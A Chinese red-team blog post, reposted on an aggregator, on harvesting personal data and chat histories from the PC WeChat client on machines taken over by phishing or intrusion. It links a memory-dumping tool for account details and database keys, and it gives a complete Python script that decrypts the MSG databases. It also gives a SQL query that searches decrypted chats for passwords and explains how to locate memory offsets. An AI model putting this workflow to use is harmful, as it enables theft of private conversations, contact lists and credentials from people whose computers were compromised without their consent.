红队攻防之PC端微信个人信息与聊天记录取证

这篇具有很好参考价值的文章主要介绍了红队攻防之PC端微信个人信息与聊天记录取证。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文转载于:https://blog.csdn.net/shuteer_xu/article/details/128245994

0x01 声明

声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系公众号加白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x02 前言

师傅们都碰到过一个问题:

通过钓鱼/渗透/XX方式控制了目标的电脑权限,如何才能获取到更有价值的信息,更好的开展下一步工作呢

答:众所周知,WX在个人社交、日常办公、XXXX中已经必不可少,所以比较容易被关注到

场景:不管是XX工作需要取证、还是HVV工作需要更多有价值的信息,相对来说都是比较快准狠的方式

所以想水一篇文章:关于WX个人信息与聊天记录的取证工作

0x03 实现

学习地址[会不定期更新](能用就行):

https://github.com/AdminTest0/SharpWxDump

问:为啥要不定期更新?

答:因为PC端WX每迭代一次新版本,偏移都会改变,都需要重新获取,所以需要不定期更新对应版本的偏移地址,有兴趣的师傅可以交流一下

利用场景:

钓鱼攻击(通过钓鱼控到的机器通常都是登录状态,可诱骗登录)

渗透到运维机器(有些运维机器会日常登录自己的微信,可蹲)

某些工作需要取证(数据库需要拷贝到本地慢慢弄)

自行备份(日常备份自己留存)

等等...............

利用前提:需要处于登录状态

1. 如果没有运行,会提示

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

2. 如果运行了,但是没有登录,会提示错误原因(因为实战中会有各种各样的错误,中文在CS中会乱码,所以这里用的英文翻译)

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

3. 如果用户登录了WX,直接执行即可获取:进程ID/当前版本/昵称/账号/手机号码/邮箱/数据库密钥,目前所有正式版本都可以(能用就行)

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

0x04 版本差异

差异:

版本 < 3.7.0.30,运行但不登录:能获取到;

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

版本 > 3.7.0.30,运行但不登录:获取不到;

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

原因:

版本 < 3.7.0.30,都是从AccInfo.dat文件中获取;

版本 > 3.7.0.30,修复了AccInfo.dat文件中存储个人信息(因为之前可以离线读取);

离线获取,差异对比(左旧右新)

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

在线获取,差异对比(上旧下新),登录后都能获取,但新版已经获取不到邮箱了

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

0x05 聊天记录解密

思路:
首先获取微信的Wechatkey ------>找到对应聊天记录的数据库
------>使用python脚本解密------>使用Navicat 等数据库工具打开读取明文

1. wxid_xxxxxxxx一般都在文档目录下,作为存储目录,下载对应的聊天记录文件到本地

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

文件位置:

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

关于聊天记录文件:MSG.db,超出240MB会自动生成MSG1.db,以此类推

wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录
wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表
wxid_xxxxxxxx\Msg\MediaMsg.db > 语音 > 格式为silk

2. 解密数据库

脚本代码:

from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt
 
 
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''
 
 
for op, value in opts:
    if op == '-k':
        input_pass = value
    else:
        if op == '-d':
            input_dir = value
 
 
password = bytes.fromhex(input_pass.replace(' ', ''))
 
 
with open(input_dir, 'rb') as (f):
    blist = f.read()
print(len(blist))
salt = blist[:16]
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
first = blist[16:DEFAULT_PAGESIZE]
mac_salt = bytes([x ^ 58 for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod='sha1')
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
 
 
if hash_mac.digest() == first[-32:-12]:
    print('Decryption Success')
else:
    print('Password Error')
blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
 
 
with open(input_dir, 'wb') as (f):
    f.write(SQLITE_FILE_HEADER)
    t = AES.new(key, AES.MODE_CBC, first[-48:-32])
    f.write(t.decrypt(first[:-48]))
    f.write(first[-48:])
    for i in blist:
        t = AES.new(key, AES.MODE_CBC, i[-48:-32])
        f.write(t.decrypt(i[:-48]))
        f.write(i[-48:])

使用方法:

python3 .\Decode.py -k 数据库密钥 -d .\MSG0.db

解密成功

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

3. 查找敏感信息

将解密后的MSG0.db拖入数据库工具,查询语句查找关键字:

SELECT * FROM "MSG" WHERE StrContent  like'%密码%'

包含个人消息、群消息等等,或者直接用数据库工具的界面化查找

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

0x06 如何获取偏移

使用CE选中WeChat.exe,获取账号偏移,通过WeChatWin.dll的基址+偏移,即可定位想获取的信息,其他信息同理

pc微信聊天记录解密,工具的使用,信息收集,数据库,web安全,系统安全

0x07 参考

参考链接:

[1] http://cn-sec.com/archives/440791.html

[2] https://blog.csdn.net/weixin_42962516/article/details/114904925

[3] https://blog.csdn.net/qq_38474570/article/details/96606530

[4] https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671文章来源地址https://www.toymoban.com/news/detail-723927.html

到了这里,关于红队攻防之PC端微信个人信息与聊天记录取证的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • fiddler抓包pc端微信小程序

    首先对fiddler设置: 点击tools中的options 这里出现的证书弹窗全部同意就行。 下面的端口可以自行修改。 然后fiddle设置好了之后,登录微信。 在电脑上登录微信之前,将网络代理开启设置127.0.0.1,端口号8888. 然后就可以抓包了。 如果不能抓到的话: 将下面这个打开试试。 出

    2024年02月08日
    浏览(56)
  • Python uiautomation获取微信内容!聊天记录、聊天列表、全都可获取

    Python uiautomation 是一个用于自动化 GUI 测试和操作的库,它可以模拟用户操作来执行各种任务。 通过这个库,可以使用Python脚本模拟人工点击,人工操作界面。本文使用 Python uiautomation 进行微信电脑版的操作。 以下是本次实验的版本号。 你需要安装 uiautomation 示例代码 代码解

    2024年02月04日
    浏览(36)
  • Fiddler抓取PC端微信小程序请求方法

    最近PC端的微信更新了,在微信中也可以打开相对应的小程序了,那么对于大多数测试同学来说要是可以在PC端打开小程序直接查看小程序发出的HTTPS请求报文,那么定位问题也就太方便了吧,我就是抱着这样的一个心态来分享一下如何在PC端查看小程序的请求方法,题主亲测

    2024年02月11日
    浏览(46)
  • 怎么恢复微信聊天记录

    微信是一款非常受欢迎的社交软件,它可以让我们轻松跟朋友聊天,分享照片和视频,也可以让我们随时随地了解最新的新闻和信息。然而,如果您丢失了微信聊天记录,你会发现无法恢复。在本文中,我们将介绍 怎么恢复微信聊天记录 。 第一种方法:通过微信自带的 聊天

    2024年02月08日
    浏览(46)
  • 微信聊天记录数据分析

    目录 一、项目背景 二、数据准备 三、数据预处理及描述性统计 四、数据分析 1.聊天小时、日、月分别汇总分布图 2.聊天时间序列分布图 3.高频词汇统计 4.词云图展示 五、其它探索性分析 2021年2月20日我和我女朋友第一次见面,之后开启了我们两个人的故事,时隔一年我想将

    2024年02月04日
    浏览(52)
  • python解密微信聊天记录

    链接: 傻瓜教程:使用小米系列手机提取微信聊天记录并制作词云图 链接: 手机端微信聊天记录数据库解密过程

    2024年02月07日
    浏览(24)
  • 微信聊天记录导出(华为手机版)

    关于微信记录导出的有比较多的方法, 在这里进行汇总下, 以下都是经过我亲测可行的, 不要去买一些付费的软件, 自己手动操作下就好啦 主要参考这两篇文章: 微信聊天记录导出为电脑txt文件教程 微信聊天记录导出(2020新版) 具体步骤: 1.先登录电脑版微信 2.备份与迁移, 选择备

    2024年02月09日
    浏览(30)
  • Burpsuite联动Proxifier抓包pc端微信小程序

    工具Proxifier以及burpsuite Proxifier下载地址 https://www.mustdown.com/software/13717.html 以上是破解版汉化版的下载地址,也可以去Proxifier官网下载30天的试用版本下载地址如下 https://www.proxifier.com Proxifier配置 配置文件--代理规则--添加 名称随意填写 应用程序填写WeChatAppEx.exe 动作选择Pro

    2024年02月01日
    浏览(41)
  • 微信聊天记录导出的开源项目,火了!

    大家好,我是 Jack。 今天又是分享开源项目的一天。 最近想训练一个符合某人说话风格的 AI,微信的聊天记录里就有着丰富的训练数据。 聊天记录是珍贵的记忆,也是每一场对话、每一个互动的真情流露。 想要拿到这些数据,无论是保存备份还是用于 AI 训练,手动拷贝都不

    2024年01月16日
    浏览(35)
  • 微信录屏怎么录?微信聊天记录怎么录制下来

    微信作为我们日常使用的沟通工具,里面保留着许多的信息。在有些时候,我们可能会遇到需要用录屏功能,将微信里的信息分享出去的场景。可是微信自身是不带录屏功能的,微信录屏怎么录?我们究竟要怎么将信息给录制下来呢?下面小编详细地介绍一下。   一.手机微

    2024年02月09日
    浏览(25)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包